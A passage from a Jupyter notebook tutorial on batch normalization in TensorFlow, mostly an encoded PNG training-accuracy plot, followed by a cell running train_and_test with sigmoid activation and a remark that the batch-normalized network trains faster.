z38CpsOlbNiZyHfOGcC\n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\nTND/BxKdwD+d+NuJAAAAAElFTkSuQmCC\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7ffa7131c5c0>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "train_and_test(True, 2, tf.nn.sigmoid)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In this case, the network with batch normalization trained faster and reached a higher accuracy. Meanwhile, the high learning rate makes the network without normalization bounce around erratically and have trouble getting past 90%." ] }, { 